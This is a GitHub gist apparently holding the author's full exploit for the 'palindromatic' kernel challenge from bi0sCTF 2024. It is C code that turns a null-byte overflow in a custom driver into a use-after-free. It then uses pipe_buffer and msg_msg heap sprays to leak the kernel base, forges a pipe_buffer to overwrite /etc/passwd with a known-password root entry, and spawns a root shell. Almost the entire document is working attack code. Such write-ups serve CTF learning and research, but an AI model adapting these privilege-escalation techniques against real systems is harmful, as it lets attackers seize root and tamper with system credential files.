Created
February 26, 2024 13:24
-
-
Save k1R4/bf302fffc2bd5e313a0f7ad789fbd363 to your computer and use it in GitHub Desktop.
palindromatic - bi0sCTF 2024
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <string.h> | |
#include <stdarg.h> | |
#include <stdio.h> | |
#include <sys/types.h> | |
#include <fcntl.h> | |
#include <sched.h> | |
#include <sys/syscall.h> | |
#include <sys/ioctl.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include <sys/msg.h> | |
#define DEVICE "/dev/palindromatic" | |
#define TARGET "/etc/passwd" | |
#define PAYLOAD "root:$1$N2mheFz2$QGPDmRPMD9iEdKq0glrhM0:0:0:root:/root:/bin/sh" | |
typedef unsigned long u64; | |
typedef unsigned int u32; | |
typedef unsigned short u16; | |
typedef unsigned char u8; | |
typedef struct | |
{ | |
long mtype; | |
char mtext[]; | |
} msg; | |
typedef struct pipe_buffer | |
{ | |
void *page; | |
unsigned int offset, len; | |
void *ops; | |
unsigned int flags; | |
unsigned long private; | |
} pipe_buffer; | |
typedef struct arg_t | |
{ | |
char *buffer; | |
} arg_t; | |
enum : unsigned int | |
{ | |
QUEUE = 0xb10500a, | |
SANITIZE, | |
RESET, | |
PROCESS, | |
REAP, | |
QUERY | |
}; | |
int ctr = 0; | |
int pipes[0x200][2]; | |
char buffer[0x2000]; | |
int spray[0x200]; | |
u64 leaks[0x400]; | |
int dfd; | |
void error(char *msg) | |
{ | |
perror(msg); | |
exit(1); | |
} | |
void setaff(int cpu) | |
{ | |
cpu_set_t my_set; | |
CPU_ZERO(&my_set); | |
CPU_SET(cpu, &my_set); | |
if(sched_setaffinity(0, sizeof(cpu_set_t), &my_set) < 0) error("sched_setaffinity"); | |
printf("[*] Pinned to CPU #%d\n", cpu); | |
} | |
void open_device() | |
{ | |
dfd = open(DEVICE, O_RDWR); | |
if(dfd < 0) error("open"); | |
printf("[*] Opened device %s, fd: %d\n", DEVICE, dfd); | |
} | |
void hexdump(unsigned long *buf, int size) | |
{ | |
for(int i = 0; i < size; i++) | |
printf(" %04x - %#lx\n", i*8, *(buf+i)); | |
} | |
void spray_pipe(int amt, const char *buf) | |
{ | |
for(int i = 0; i < amt; i++) | |
{ | |
pipe(pipes[ctr]); | |
write(pipes[ctr++][1], buf, strlen(buf)); | |
} | |
} | |
void spray_msg(int amt) | |
{ | |
msg *ms = (msg *)&buffer; | |
memset(buffer, 0x7f, sizeof(buffer)); | |
for (int i = 0; i < amt; i++) | |
{ | |
spray[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); | |
if (spray[i] < 0) | |
error("msgget"); | |
ms->mtype = i + 1; | |
if(msgsnd(spray[i], buffer, 0xfc8+0x400, 0) < 0) | |
error("msgnd"); | |
} | |
} | |
int setup(void) | |
{ | |
puts("================================ Setup Phase ================================"); | |
setaff(0); | |
open_device(); | |
int fd = open(TARGET, O_RDONLY); | |
if(fd < 1) error("open"); | |
printf("[*] Target file: %s, fd: %d\n", TARGET, fd); | |
return fd; | |
} | |
void stage1(void) | |
{ | |
arg_t arg; | |
memset(buffer, 0x42, 0x1000); | |
arg.buffer = buffer; | |
puts("================================== Stage 1 ==================================="); | |
puts("[*] Spraying requests"); | |
for(int i = 0; i < 0x100; i++) | |
if(ioctl(dfd, QUEUE, &arg) < 0) | |
error("ioctl::queue"); | |
puts("[*] Triggering null byte overflow"); | |
if(ioctl(dfd, SANITIZE, NULL) < 0) | |
error("ioctl::sanitize"); | |
int cap = ioctl(dfd, QUERY, NULL) & 0xffff; | |
do | |
{ | |
if(ioctl(dfd, PROCESS, NULL) < 0) | |
{ | |
puts("[-] Failed to find corrupted request!"); | |
exit(1); | |
} | |
} | |
while(cap++ != (ioctl(dfd, QUERY, NULL)&0xffff)); | |
printf("[+] Found UAF request in positon #%d\n", 0x100-cap); | |
puts("[*] Resetting request to start of queue"); | |
ioctl(dfd, RESET, NULL); | |
puts("[*] Reaping all requests to free them"); | |
for(int i = 0; i < 0x100-cap; i++) ioctl(dfd, PROCESS, NULL); | |
for(int i = 0; i < 0x100; i++) ioctl(dfd, REAP, NULL); | |
puts("[*] Stage 1 complete!"); | |
} | |
int stage2(void) | |
{ | |
int victim = -1; | |
puts("================================== Stage 2 ==================================="); | |
puts("[*] Spraying pipe_buffers"); | |
spray_pipe(0x160, "AA"); | |
puts("[*] Triggering free of victim through double reset"); | |
ioctl(dfd, RESET, NULL); | |
ioctl(dfd, RESET, NULL); | |
puts("[*] Spraying pipe_buffers to catch victim"); | |
spray_pipe(0x20, "BB"); | |
for(int i = 0; i < 0x160; i++) | |
{ | |
char c; | |
read(pipes[i][0], &c, 1); | |
if(c == 'B') | |
{ | |
printf("[+] Found victim pipe: %d\n", pipes[i][1]); | |
victim = i; | |
} | |
} | |
if(victim == -1) error("Unable to trigger UAF"); | |
puts("[*] Freeing all pipe_buffers"); | |
for(int i = 0; i < 0x180; i++) | |
{ | |
if(i == victim) continue; | |
read(pipes[i][0], buffer, 1); | |
close(pipes[i][0]); | |
close(pipes[i][1]); | |
} | |
puts("[*] Stage 2 complete"); | |
return victim; | |
} | |
void stage3(int victim, int fd) | |
{ | |
pipe_buffer fake_pipe; | |
memset(&fake_pipe, 0, sizeof(fake_pipe)); | |
loff_t offset = 1; | |
puts("================================== Stage 3 ==================================="); | |
puts("[*] Spraying msg_msgseg to overlap with victim pipe_buffer"); | |
spray_msg(0x180); | |
puts("[*] Splicing victim pipe to add pipe_buffer to ring"); | |
if(splice(fd, &offset, pipes[victim][1], NULL, 1, 0) < 0) | |
error("splice"); | |
puts("[*] Trying to get leaks with msgrcv"); | |
for(int i = 0; i < 0x180; i++) | |
{ | |
if(msgrcv(spray[i], leaks, 0xfc8+0x400, 0, IPC_NOWAIT | MSG_NOERROR) < 0) | |
error("msgrcv"); | |
if(leaks[0xff8/8] != 0x7f7f7f7f7f7f7f7f) | |
{ | |
puts("[*] Found overlapping msg_msgseg and pipe_buffer"); | |
memcpy(&fake_pipe, &leaks[0xff8/8], sizeof(pipe_buffer)); | |
fake_pipe.flags = 0x10; | |
fake_pipe.offset = 0; | |
fake_pipe.len = 0; | |
printf("[+] Base => %#lx\n", leaks[0x1008/8]-0x12205e0); | |
puts("[*] fake pipe_buffer: "); | |
hexdump((unsigned long *)&fake_pipe, sizeof(fake_pipe)/8); | |
break; | |
} | |
} | |
if(fake_pipe.flags != 0x10) error("Unable to get leaks"); | |
puts("[*] Spraying msg_msgseg with fake pipe_buffer"); | |
msg *ms = (msg *)&buffer; | |
memset(buffer, 0x0, sizeof(buffer)); | |
memcpy(buffer+0xfc8+0x30, &fake_pipe, sizeof(fake_pipe)); | |
for (int i = 0; i < 0x180; i++) | |
{ | |
ms->mtype = i + 1; | |
if(msgsnd(spray[i], ms, 0xfc8+0x400, 0) < 0) | |
error("msgnd"); | |
} | |
puts("[*] Stage 3 complete"); | |
} | |
void final(int victim, int fd) | |
{ | |
char hax[0x80]; | |
memset(hax, 0, sizeof(hax)); | |
strcpy(hax, PAYLOAD); | |
puts("================================ Final Phase ================================="); | |
puts("[*] Trying to overwrite /etc/passwd"); | |
write(pipes[victim][1], hax, sizeof(hax)); | |
printf("[*] Checking contents of %s:\n ", TARGET); | |
if(read(fd, buffer, 0x40) < 0) | |
error("read"); | |
puts(buffer); | |
if(buffer[5] == 'x') | |
{ | |
puts("[-] Exploit failed!"); | |
exit(1); | |
} | |
else puts("[+] Exploit successful!"); | |
if(!fork()) | |
{ | |
char *argv[] = {"/bin/sh", NULL}; | |
execve("/bin/sh", argv, NULL); | |
} | |
sleep(0x1000); | |
} | |
int main() | |
{ | |
int victim, target; | |
target = setup(); | |
stage1(); | |
victim = stage2(); | |
stage3(victim, target); | |
final(victim, target); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment